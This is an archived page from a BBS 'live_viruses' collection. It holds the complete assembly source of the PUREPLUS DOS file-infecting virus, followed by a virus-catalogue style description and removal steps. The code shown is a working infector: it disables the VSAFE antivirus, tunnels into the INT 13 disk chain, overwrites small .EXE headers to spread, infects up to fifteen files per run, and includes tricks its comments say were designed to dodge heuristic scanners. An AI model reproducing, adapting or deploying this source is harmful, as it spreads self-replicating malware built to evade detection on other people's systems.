home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / pureplus.asm < prev    next >
Assembly Source File  |  1994-03-01  |  23KB  |  509 lines

  1. cseg            segment para    public  'code'
  2. pureplus        proc    near
  3. assume          cs:cseg
  4.  
  5. ;-----------------------------------------------------------------------------
  6.  
  7. ;designed by "Q" the misanthrope.
  8.  
  9. ;-----------------------------------------------------------------------------
  10.  
  11. .186
  12.  
  13. ALLOCATE_HMA    equ     04a02h
  14. CLOSE_HANDLE    equ     03e00h
  15. COMMAND_LINE    equ     080h
  16. COM_OFFSET      equ     00100h
  17. CRITICAL_INT    equ     024h
  18. DENY_NONE       equ     040h
  19. DONT_SET_OFFSET equ     006h
  20. DONT_SET_TIME   equ     040h
  21. DOS_INT         equ     021h
  22. DOS_SET_INT     equ     02500h
  23. EIGHTEEN_BYTES  equ     012h
  24. ENVIRONMENT     equ     02ch
  25. EXEC_PROGRAM    equ     04b00h
  26. EXE_SECTOR_SIZE equ     004h
  27. EXE_SIGNATURE   equ     'ZM'
  28. FAIL            equ     003h
  29. FAR_INDEX_CALL  equ     01effh
  30. FILENAME_OFFSET equ     0001eh
  31. FILE_OPEN_MODE  equ     002h
  32. FIND_FIRST      equ     04e00h
  33. FIND_NEXT       equ     04f00h
  34. FIRST_FCB       equ     05ch
  35. FLUSH_BUFFERS   equ     00d00h
  36. FOUR_BYTES      equ     004h
  37. GET_DTA         equ     02f00h
  38. GET_ERROR_LEVEL equ     04d00h
  39. HARD_DISK_ONE   equ     081h
  40. HIDDEN          equ     002h
  41. HIGH_BYTE       equ     00100h
  42. HMA_SEGMENT     equ     0ffffh
  43. INT_13_VECTOR   equ     0004ch
  44. JOB_FILE_TABLE  equ     01220h
  45. KEEP_CF_INTACT  equ     002h
  46. KEYBOARD_INT    equ    016h
  47. MAX_SECTORS     equ     078h
  48. MULTIPLEX_INT   equ     02fh
  49. NEW_EXE_HEADER  equ     00040h
  50. NEW_EXE_OFFSET  equ     018h
  51. NULL            equ     00000h
  52. ONLY_READ       equ     000h
  53. ONLY_WRITE      equ     001h
  54. ONE_BYTE        equ     001h
  55. OPEN_W_HANDLE   equ     03d00h
  56. PARAMETER_TABLE equ     001f1h
  57. READ_A_SECTOR   equ     00201h
  58. READ_ONLY       equ     001h
  59. READ_W_HANDLE   equ     03f00h
  60. REMOVE_NOP      equ     001h
  61. RESET_CACHE     equ     00001h
  62. RESIZE_MEMORY   equ     04a00h
  63. SECOND_FCB      equ     06ch
  64. SECTOR_SIZE     equ     00200h
  65. SETVER_SIZE     equ     018h
  66. SHORT_JUMP      equ     0ebh
  67. SIX_BYTES       equ     006h
  68. SMARTDRV        equ     04a10h
  69. SYSTEM          equ     004h
  70. SYS_FILE_TABLE  equ     01216h
  71. TERMINATE_W_ERR equ     04c00h
  72. THREE_BYTES     equ     003h
  73. TWENTY_HEX      equ     020h
  74. TWENTY_THREE    equ     017h
  75. TWO_BYTES       equ     002h
  76. UNINSTALL    equ    05945h
  77. UN_SINGLE_STEP  equ     not(00100h)
  78. VERIFY_3SECTORS equ     00403h
  79. VOLUME_LABEL    equ     008h
  80. VSAFE        equ    0fa01h
  81. WRITE_A_SECTOR  equ     00301h
  82. WRITE_W_HANDLE  equ     04000h
  83. XOR_CODE        equ     (SHORT_JUMP XOR (low(EXE_SIGNATURE)))*HIGH_BYTE
  84. PURE_CODE_IS_AT equ     00147h
  85.  
  86. ;-----------------------------------------------------------------------------
  87.  
  88. bios_seg        segment at 0f000h    ;just some dummy area that was needed
  89.         org     00000h        ;to have the compilier make a far jmp
  90. old_int_13_addr label   word        ;directive EAh later on
  91. bios_seg        ends
  92.  
  93. ;-----------------------------------------------------------------------------
  94.  
  95.         org     COM_OFFSET    ;com files seem to always start here
  96. com_code:
  97.  
  98. ;-----------------------------------------------------------------------------
  99.  
  100.         jmp     short disable_vsafe
  101.  
  102. ;-----------------------------------------------------------------------------
  103.  
  104. dummy_exe_head  dw      SIX_BYTES,TWO_BYTES,NULL,TWENTY_HEX,ONE_BYTE,HMA_SEGMENT
  105.         dw    NULL,NULL,NULL,NULL,NULL,TWENTY_HEX
  106.                             ;simple EXE header that we have imbedded the virii into
  107.  
  108. ;-----------------------------------------------------------------------------
  109.  
  110.         org     PURE_CODE_IS_AT    ;here because many exe files have 00's after this location
  111.  
  112. ;-----------------------------------------------------------------------------
  113.  
  114. ax_cx_di_si_cld proc    near        ;sets varables for modifying sector
  115.         mov     di,bx        ;ES:BX is int 13 sector set di to bx
  116.         add     di,PURE_CODE_IS_AT-COM_OFFSET
  117. ax_cx_si_cld:   call    set_si        ;get location of code in HMA
  118. set_si:         pop     si        ;and subtract the offset
  119.         sub     si,word ptr (offset set_si)-word ptr (offset ax_cx_di_si_cld)
  120.         mov     cx,COM_OFFSET+SECTOR_SIZE-PURE_CODE_IS_AT
  121.         mov     ax,XOR_CODE    ;ah is value to xor MZ to jmp 015C
  122.         das            ;set zero flag for the compare later on
  123.         cld            ;clear direction
  124.         ret
  125. ax_cx_di_si_cld endp
  126.  
  127. ;-----------------------------------------------------------------------------
  128.  
  129.         org     high(EXE_SIGNATURE)+TWO_BYTES+COM_OFFSET
  130.                     ;must be here because the MZ 4Dh,5Ah
  131.                     ;.EXE header identifier gets changed to
  132.                                         ;jmp 015C EAh,5Ah by changing one byte
  133.  
  134. ;-----------------------------------------------------------------------------
  135.  
  136. disable_vsafe    proc    near        ;while we are here lets allow other virii
  137.                 mov    dx,UNINSTALL    ;it sure is nice to have a simple
  138.         mov    ax,VSAFE    ;call to do this
  139.                 int    KEYBOARD_INT
  140. disable_vsafe    endp
  141.  
  142. ;-----------------------------------------------------------------------------
  143.  
  144. alloc_memory    proc    near        ;clear disk buffers so reads are done
  145.         mov     ah,high(FLUSH_BUFFERS)
  146.         int     DOS_INT        ;from disk and not from memory
  147.         xor     di,di        ;set it to zero
  148.         mov     ds,di        ;to set the DS there
  149.         mov     bh,high(SECTOR_SIZE)
  150.         dec     di        ;now set it to FFFFh
  151.         mov     ax,ALLOCATE_HMA    ;lets see how much memory is available
  152.         int     MULTIPLEX_INT    ;in the HMA - ES:DI points to begining
  153.         mov     ax,SMARTDRV    ;lets flush smartdrv as well for maximum
  154.         mov     bx,RESET_CACHE    ;infection.  it sure is nice to have
  155.         int     MULTIPLEX_INT    ;a simple call to do this
  156.         mov     bl,SIX_BYTES    ;for setting int 1 to tunnel
  157.         inc     di        ;if dos <5.0 or no HMA di is FFFFh
  158.         jz      find_name    ;if no memory don't install
  159.         call    ax_cx_si_cld    ;get varables for copy to HMA 
  160.         rep     movs byte ptr es:[di],cs:[si]
  161. alloc_memory    endp            ;then copy it to ES:DI in HMA
  162.  
  163. ;-----------------------------------------------------------------------------
  164.  
  165. set_int_13      proc    near        ;setting int 1 vectors for tunnelling
  166.         mov     ax,offset interrupt_one
  167.         xchg    word ptr ds:[bx-TWO_BYTES],ax
  168.         push    ax        ;great way to set interrupts
  169.         push    word ptr ds:[bx];just push them on the stack for latter
  170.         mov     word ptr ds:[bx],cs
  171.         xchg    cx,di        ;cx was 0, di was last byte of HMA code
  172.         mov     dl,HARD_DISK_ONE;doesn't really matter which drive
  173.         pushf            ;save the flags with TF cleared
  174.         pushf            ;push flags for simulated int 13 call
  175.         pushf            ;push flags for setting TF 
  176.         mov     bp,sp        ;get the stack pointer
  177.         mov     ax,VERIFY_3SECTORS
  178.         or      byte ptr ss:[bp+ONE_BYTE],al
  179.         popf            ;set TF and direction and call int 13
  180.         dw      FAR_INDEX_CALL,INT_13_VECTOR
  181.         popf            ;restore flags
  182.         pop     word ptr ds:[bx];and int 1 vectors back
  183.         pop     word ptr ds:[bx-TWO_BYTES]
  184. set_int_13      endp            ;now int 13 has our code hooked into it
  185.  
  186. ;-----------------------------------------------------------------------------
  187.  
  188. find_name       proc    near        ;now lets find out who we are to reload
  189.         mov     ds,word ptr cs:[bx+ENVIRONMENT-SIX_BYTES]
  190. look_for_nulls: inc     bx        ;ourselves to see if we are cleaned on the fly
  191.         cmp     word ptr ds:[bx-FOUR_BYTES],di
  192.         jne     look_for_nulls    ;the plan is to goto the end of our
  193. find_name       endp            ;environment and look for 2 nulls
  194.  
  195. ;-----------------------------------------------------------------------------
  196.  
  197. open_file       proc    near        ;open current program and read header
  198.         push    ds        ;to see if the header was restored back
  199.         push    bx        ;save the program name on the stack
  200.         mov     ch,THREE_BYTES    ;read in 768 bytes of header
  201.         call    open_n_read_exe    ;open, read cx bytes, close file ds:bx
  202.         push    cs        ;set es to cs for compare of sector
  203.         pop     es        ;to infected sector
  204.         mov     bx,dx        ;get varables set correctly for compare
  205.         call    convert_back    ;compare them and convert them back
  206.         pop     dx        ;get file name again
  207.         pop     ds
  208.         jne     now_run_it    ;if int 13 converted it back then run it
  209.         push    ds        ;else save file name again on stack
  210.         push    dx
  211.         mov     ax,OPEN_W_HANDLE+DENY_NONE+ONLY_READ
  212.         call    call_dos    ;open current program for reads (don't set any alarms)
  213.         push    bx        ;save handle
  214.         int     MULTIPLEX_INT    ;get job file table for handle
  215.         mov     dx,SYS_FILE_TABLE
  216.         xchg    ax,dx        ;done like this for anti TBAV hueristic scan
  217.         mov     bl,byte ptr es:[di]
  218.         int     MULTIPLEX_INT    ;get SFT of handle to change ES:DI
  219.         pop     bx        ;get handle again
  220.         mov     ch,high(SECTOR_SIZE)
  221.         mov     ax,WRITE_W_HANDLE+DENY_NONE+ONLY_WRITE
  222.         cmpsw            ;simple code to change open file to
  223.         stosb            ;write back the cleaned header to file
  224.         mov     dx,offset critical_error+COM_OFFSET
  225.         int     DOS_INT        ;this cleans the file if virii didn't load in HMA
  226.         or      byte ptr es:[di+DONT_SET_OFFSET-THREE_BYTES],DONT_SET_TIME
  227.         call    reclose_it    ;set SFT to not change file date and time at close
  228.         pop     dx        ;get file name again from the stack
  229.         pop     ds
  230. open_file       endp
  231.  
  232. ;-----------------------------------------------------------------------------
  233.  
  234. now_run_it      proc    near        ;setup the exec of current program again
  235.         push    cs        ;like a spawned file
  236.         pop     es        ;es now cs
  237.         mov     bx,offset exec_table
  238.         mov     ah,high(RESIZE_MEMORY)
  239.         int     DOS_INT        ;first resize memory
  240.         mov     si,offset critical_error+COM_OFFSET+PARAMETER_TABLE
  241.         xchg    bx,si        ;set si to where the table varables are
  242.         mov     di,bx        ;set di to where 14 byte exec table is to be made
  243.         mov     ax,EXEC_PROGRAM    ;set ax for file execute
  244. set_table:      scasw            ;advance 2 bytes in destination table
  245.         movs    byte ptr es:[di],cs:[si]
  246.         scasb            ;move a byte then check if next byte is nonzero
  247.         mov     word ptr cs:[di],cs
  248.         je      set_table    ;fill in the code segment into table and jmp if still zero
  249.         call    call_dos    ;exec program again
  250.         mov     ax,FIND_FIRST    ;need to infect more EXE files
  251.         mov     dx,offset exe_file_mask
  252.         mov     cx,READ_ONLY+HIDDEN+SYSTEM+VOLUME_LABEL
  253. find_next_file: call    call_dos    ;set cx to 15 to loop that many times
  254.         mov     ah,high(GET_DTA);what was the old dta no need to set up a new one
  255.         int     DOS_INT        ;get it
  256.         add     bx,FILENAME_OFFSET
  257.         push    es        ;get the filename into ds:bx
  258.         pop     ds
  259.         call    open_n_read_exe    ;open, read cx bytes, close file ds:bx
  260.         mov     ah,high(FIND_NEXT)
  261.         loop    find_next_file    ;loop until no more matches
  262. done:           mov     ah,high(GET_ERROR_LEVEL)
  263.         int     DOS_INT        ;get spawned childs program errorlevel
  264.         mov     ah,high(TERMINATE_W_ERR)
  265. now_run_it      endp            ;and return with that same errorlevel
  266.  
  267. ;-----------------------------------------------------------------------------
  268.  
  269. call_dos        proc    near        ;routine to call dos
  270.         int     DOS_INT        ;call dos
  271.         jc      done        ;error in doing so then exit
  272.         xchg    ax,bx        ;set bx to ax for open file stuff
  273.         push    cs        ;set ds to cs
  274.         pop     ds        ;for all sorts of stuff
  275.         mov     ax,JOB_FILE_TABLE
  276.         ret            ;get job file table
  277. call_dos        endp            ;(done here for anti TBAV hueristic scan)
  278.  
  279. ;-----------------------------------------------------------------------------
  280.  
  281. exec_table      db      COMMAND_LINE,FIRST_FCB,SECOND_FCB
  282.                     ;these are used to create the 14 byte exec
  283.                                         ;table to rerun program
  284.  
  285. ;-----------------------------------------------------------------------------
  286.  
  287. open_n_read_exe proc    near        ;opens file at ds:bx reads cx bytes then closes
  288.         mov     dx,bx        ;set dx to bx for dos call to open file
  289.         mov     ax,OPEN_W_HANDLE+DENY_NONE+ONLY_READ
  290.         call    call_dos    ;just open it for reading (don't sound any alarms)
  291.         mov     dx,offset critical_error
  292.         mov     ax,DOS_SET_INT+CRITICAL_INT
  293.         int     DOS_INT        ;see that the call_dos set ds to cs for setting critical error handler
  294.         inc     dh        ;just some dummy area outside in the heap to read the header of the file to
  295.         mov     ah,high(READ_W_HANDLE)
  296.         int     DOS_INT        ;read it
  297. reclose_it:     mov     ah,high(CLOSE_HANDLE)
  298.         jmp     short call_dos    ;goto close it
  299. open_n_read_exe endp
  300.  
  301. ;-----------------------------------------------------------------------------
  302.  
  303. interrupt_one   proc    far        ;trace interrupt to imbed into int 13 chain at FFFF:????
  304.         cmp     ax,VERIFY_3SECTORS
  305.         jne     interrupt_ret    ;if not doing int 13 stuff just leave
  306.         push    ds        ;push varables on stack
  307.         pusha
  308.         mov     bp,sp        ;make bp the sp
  309.         lds     si,dword ptr ss:[bp+EIGHTEEN_BYTES]
  310.         cmp     word ptr ds:[si+ONE_BYTE],FAR_INDEX_CALL
  311.         jne     go_back        ;compare the instruction to a far call function
  312.         mov     si,word ptr ds:[si+THREE_BYTES]
  313.         cmp     word ptr ds:[si+TWO_BYTES],HMA_SEGMENT
  314.         jne     go_back        ;compare the address of the call to segment FFFFh
  315.         cld            ;if match then cx is pointing to the far call EAh at 
  316.         mov     di,cx        ;the end of virii that needs to be updated
  317.         movsw            ;move the address to our code
  318.         movsw            ;far addresses are 4 bytes long
  319.         sub     di,word ptr (offset far_ptr_addr)-word ptr (offset int_13_entry)
  320.         org     $-REMOVE_NOP    ;now patch in our code into the call chain. only need to change offset because segment is already FFFFh
  321.         mov     word ptr ds:[si-FOUR_BYTES],di
  322.         and     byte ptr ss:[bp+TWENTY_THREE],high(UN_SINGLE_STEP)
  323. go_back:        popa            ;no longer need to singel step
  324.         pop     ds        ;pop off varables
  325. critical_error: mov     al,FAIL        ;set al to fail for critical error handler (al is a fail 03h anyway from above code ax verify_3sectors 0403h)
  326. interrupt_ret:  iret            ;dual useage of iret.  critical error and int 1
  327. interrupt_one   endp            ;after running int 1 routine through an int 13 chain we should be hooked in
  328.  
  329. ;-----------------------------------------------------------------------------
  330.  
  331. exe_file_mask   db      '*.E*',NULL    ;.EXE file mask (doesn't need to be specific) also anti TBAV hueristic scan
  332.  
  333. ;-----------------------------------------------------------------------------
  334.  
  335. convert_back    proc    near        ;will convert virii sector es:bx back to clean sector
  336.         call    ax_cx_di_si_cld    ;get all them varables
  337.         repe    cmps byte ptr cs:[si],es:[di]
  338.         jne     not_pure    ;does it compare byte for byte with our code
  339.         xor     byte ptr ds:[bx],ah
  340.         call    ax_cx_di_si_cld    ;if it does change the jmp 015C to an MZ EXE header signature
  341.         rep     stosb        ;and zero out all the code
  342. not_pure:       ret            ;go back to where you once belonged
  343. convert_back    endp            
  344.  
  345. ;-----------------------------------------------------------------------------
  346.  
  347. convert_to      proc    near        ;will convert sector ds:bx into virii infected
  348.         pusha            ;save varables onto stack
  349.         stc            ;say that we failed
  350.         pushf            ;push failed onto the stack
  351.                 mov    ax,EXE_SIGNATURE;done this way for anti TBAV hueristic scan
  352.         cmp     word ptr ds:[bx],ax
  353.         jne     not_exe_header    ;if not an EXE header then not interested
  354.         mov     ax,word ptr ds:[bx+EXE_SECTOR_SIZE]
  355.         cmp     ax,MAX_SECTORS    ;is size of EXE small enough to run as a COM file
  356.         ja      not_exe_header    ;if not then not interested
  357.         cmp     al,SETVER_SIZE    ;was the file the length of SETVER.EXE if so then not interested
  358.         je      not_exe_header    ;(won't load correctly in CONFIG.SYS if SETVER.EXE is infected)
  359.         cmp     word ptr ds:[bx+NEW_EXE_OFFSET],NEW_EXE_HEADER
  360.         jae     not_exe_header    ;was it a new EXE header (Windows etc) if so then not interested
  361.         call    ax_cx_di_si_cld    ;get all them varables
  362.         pusha            ;save'em
  363.         repe    scasb        ;was there nothin but 00's at offset 71 to 512 of the sector
  364.         popa            ;get'em again
  365.         jne     not_exe_header    ;if not then not interested
  366.         xor     byte ptr ds:[bx],ah
  367.         rep     movs byte ptr es:[di],cs:[si]
  368.         popf            ;if all criteria were met for infection then modify sector in memory and insert virii
  369.         clc            ;pop off the fail indicator
  370.         pushf            ;and push on the passed indicator
  371. not_exe_header: popf            ;get passed/failed indicator
  372.         popa            ;get varables from stack
  373.         ret            ;go back to where you once belonged
  374. convert_to      endp
  375.  
  376. ;-----------------------------------------------------------------------------
  377.  
  378. interrupt_13    proc    far        ;will read the sectors at es:bx and infect them if necessary and or clean them on the fly
  379. int_13_entry:   cmp     ah,high(READ_A_SECTOR)
  380.         jb      call_old_int_13    ;only interested in reads, writes and verifys
  381.         cmp     ah,high(VERIFY_3SECTORS)
  382.         ja      call_old_int_13    ;if otherwise then go to old int 13
  383.         push    ds        ;save ds
  384.         push    es        ;so we can make ds the same as es and save a few bytes
  385.         pop     ds
  386.         call    convert_to    ;try to convert it to a virii sector
  387.         pushf            ;set up for interrupt simulation
  388.         push    cs        ;push the cs onto the stack for the iret
  389.         call    call_old_int_13    ;if command was to write then an infected write occured else memory got overwritten with the read
  390.         pushf            ;save the result of the int 13 call
  391.         call    convert_to    ;does it need to be converted to a virii sector
  392.         pusha            ;save the varables onto the stack
  393.         jc      do_convertback    ;if not then see if it needs cleaning
  394.         mov     ax,WRITE_A_SECTOR
  395.         pushf            ;now lets write the virii infected sector back to disk
  396.         push    cs        ;simulate an int 13 execution
  397.         call    call_old_int_13    ;and do it
  398. do_convertback: call    convert_back    ;does the sector need to be cleaned on the fly
  399.         popa            ;if it just wrote to the disk then it will need to be cleaned
  400.         popf            ;or if it is a virii infected sector then clean it
  401.         pop     ds        ;pop off the varables and the result of int 13 simulation done above
  402.         retf    KEEP_CF_INTACT    ;then leave this routine with the carry flag intact
  403. interrupt_13    endp
  404.  
  405. ;-----------------------------------------------------------------------------
  406.  
  407. signature    db    'Q'        ;must leave my calling card
  408.  
  409. ;-----------------------------------------------------------------------------
  410.  
  411.         org     COM_OFFSET+SECTOR_SIZE-ONE_BYTE
  412.                             ;must be a far jmp at the last of the sector
  413.                                         ;the address of the jmp is in the heap area
  414.                                         ;and is filled in by the int 1 trace routine
  415.  
  416. ;-----------------------------------------------------------------------------
  417.  
  418. call_old_int_13 proc    near        ;far call to actual int 13 that is loaded in the HMA by DOS
  419.         jmp     far ptr old_int_13_addr
  420. call_old_int_13 endp
  421.  
  422. ;-----------------------------------------------------------------------------
  423.  
  424.         org     COM_OFFSET+SECTOR_SIZE
  425.                             ;overwrites the address of above but that address
  426.                                         ;is not necessary until the virii goes resident in the HMA
  427.  
  428. ;-----------------------------------------------------------------------------
  429.  
  430. goto_dos        proc    near        ;this is our simple EXE file that we infected
  431.         mov     ax,TERMINATE_W_ERR
  432.         nop            ;it just simply ends
  433. far_ptr_addr:   int     DOS_INT        ;terminate program
  434. goto_dos        endp
  435.  
  436. ;-----------------------------------------------------------------------------
  437.  
  438. pureplus        endp            ;close up and go home
  439. cseg            ends
  440. end             com_code
  441.  
  442. ;-----------------------------------------------------------------------------
  443.  
  444. Virus Name:  PUREPLUS
  445. Aliases:
  446. V Status:    New, Research Viron
  447. Discovery:   March, 1994
  448. Symptoms:    None - Pure Stealth
  449. Origin:      USA
  450. Eff Length:  441 Bytes
  451. Type Code:   OReE - Extended HMA Memory Resident Overwriting .EXE Infector
  452. Detection Method:  None
  453. Removal Instructions:  See Below
  454.  
  455. General Comments:
  456.  
  457.     The PUREPLUS virus is a HMA memory resident overwriting direct action
  458.     infector. The virus is a pure 100% stealth virus with no detectable
  459.     symptoms.  No file length increase; overwritten .EXE files execute
  460.     properly; no interrupts are directly hooked; no change in file date or
  461.     time; no change in available memory; INT 12 is not moved; no cross
  462.     linked files from CHKDSK; when resident the virus cleans programs on
  463.     the fly; works with all 80?86 processors; VSAFE.COM does not detect
  464.     any changes; Thunder Byte's Heuristic virus detection does not detect
  465.     the virus; Windows 3.1's built in warning about a possible virus does
  466.     not detect PUREPLUS.
  467.  
  468.         The PUREPLUS is a variation of the PURE virus that will cause
  469.     VSAFE.COM to uninstall.
  470.  
  471.     The PUREPLUS virus will only load if DOS=HIGH in the CONFIG.SYS file.
  472.     The first time an infected .EXE file is executed, the virus goes
  473.     memory resident in the HMA (High Memory Area).  The hooking of INT 13
  474.     is accomplished using a tunnelling technique, so memory mapping
  475.     utilities will not map it to the virus in memory.  It then reloads the
  476.     infected .EXE file, cleans it on the fly, then executes it.  After the
  477.     program has been executed, PUREPLUS will attempt to infect 15 .EXE
  478.     files in the current directory.
  479.  
  480.     If the PUREPLUS virus is unable to install in the HMA or clean the
  481.     infected .EXE on the fly, the virus will reopen the infected .EXE file
  482.     for read-only; modify the system file table for write; remove itself,
  483.     and then write the cleaned code back to the .EXE file.  It then
  484.     reloads the clean .EXE file and executes it.  The virus can not clean
  485.     itself on the fly if the disk is compressed with DBLSPACE or STACKER,
  486.     so it will clean the infected .EXE file and write it back.  It will
  487.     also clean itself on an 8086 or 8088 processor.
  488.  
  489.     It will infect an .EXE if it is executed, opened for any reason or
  490.     even copied.  When an uninfected .EXE is copied, both the source and
  491.     destination .EXE file are infected.
  492.  
  493.     The PUREPLUS virus overwrites the .EXE header if it meets certain
  494.     criteria.  The .EXE file must be less than 62K.  The file does not
  495.     have an extended .EXE header.  The file is not SETVER.EXE.  The .EXE
  496.     header must be all zeros from offset 71 to offset 512; this is where
  497.     the PUREPLUS virus writes it code.  The PUREPLUS virus then changes
  498.     the .EXE header to a .COM file.  Files that are READONLY can also be
  499.     infected.
  500.  
  501.     To remove the virus from your system, change DOS=HIGH to DOS=LOW in
  502.     your CONFIG.SYS file.  Reboot the system.  Then run each .EXE file
  503.     less than 62k.  The virus will remove itself from each .EXE program
  504.     when it is executed.  Or, leave DOS=HIGH in you CONFIG.SYS; execute
  505.     an infected .EXE file, then use a tape backup unit to copy all your
  506.     files.  The files on the tape have had the virus removed from them.
  507.     Change DOS=HIGH to DOS=LOW in your CONFIG.SYS file.  Reboot the
  508.     system.  Restore from tape all the files back to your system.
  509.